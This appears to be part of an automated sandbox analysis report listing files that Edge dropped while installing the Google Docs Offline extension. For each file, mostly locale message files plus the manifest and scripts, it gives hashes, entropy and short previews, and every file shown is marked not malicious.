Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.754230909218899
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsN9Jtwg1MK8HNnswuHEIIMuuqd7CKqv+pccW5SJ+:m8IGIEu8RfW+
MD5:	BE5DB35513DDEF454CE3502B6418B9B4
SHA1:	C82B23A82F745705AA6BCBBEFEB6CE3DBCC71CB1
SHA-256:	C6F623BE1112C2FDE6BE8941848A82B2292FCD2B475FBD363CC2FD4DF25049B5
SHA-512:	38C48E67631FAF0594D44525423C6EDC08F5A65F04288F0569B7CF8C71C359924069212462B0A2BFA38356F93708143EE1CBD42295D7317E8670D0A0CD10BAFD
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417689528134667
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1e9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APegiVb
MD5:	10FF8E5B674311683D27CE1879384954
SHA1:	9C269C14E067BB86642EB9F4816D75CF1B9B9158
SHA-256:	17363162A321625358255EE939F447E9363FF2284BD35AE15470FD5318132CA9
SHA-512:	4D3EB89D398A595FEA8B59AC6269A57CC96C4A0E5A5DB8C5FE70AB762E8144A5DF9AFC8756CA2E798E50778CD817CC9B0826FC2942DE31397E858DBFA1B06830
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4369)
Category:	dropped
Size (bytes):	95567
Entropy (8bit):	5.4016395763198135
Encrypted:	false
SSDEEP:	1536:Ftd/mjDC/Hass/jCKLwPOPO2MCeYHxU2/NjAGHChg3JOzZ8:YfjCKdHm2/NbHCIJo8
MD5:	09AF2D8CFA8BF1078101DA78D09C4174
SHA1:	F2369551E2CDD86258062BEB0729EE4D93FCA050
SHA-256:	39D113C44D45AE3609B9509ED099680CC5FCEF182FD9745B303A76E164D8BCEC
SHA-512:	F791434B053FA2A5B731C60F22A4579F19FE741134EF0146E8BAC7DECAC78DE65915B3188093DBBE00F389A7F15B80172053FABB64E636DD4A945DBE3C2CF2E6
Malicious:	false
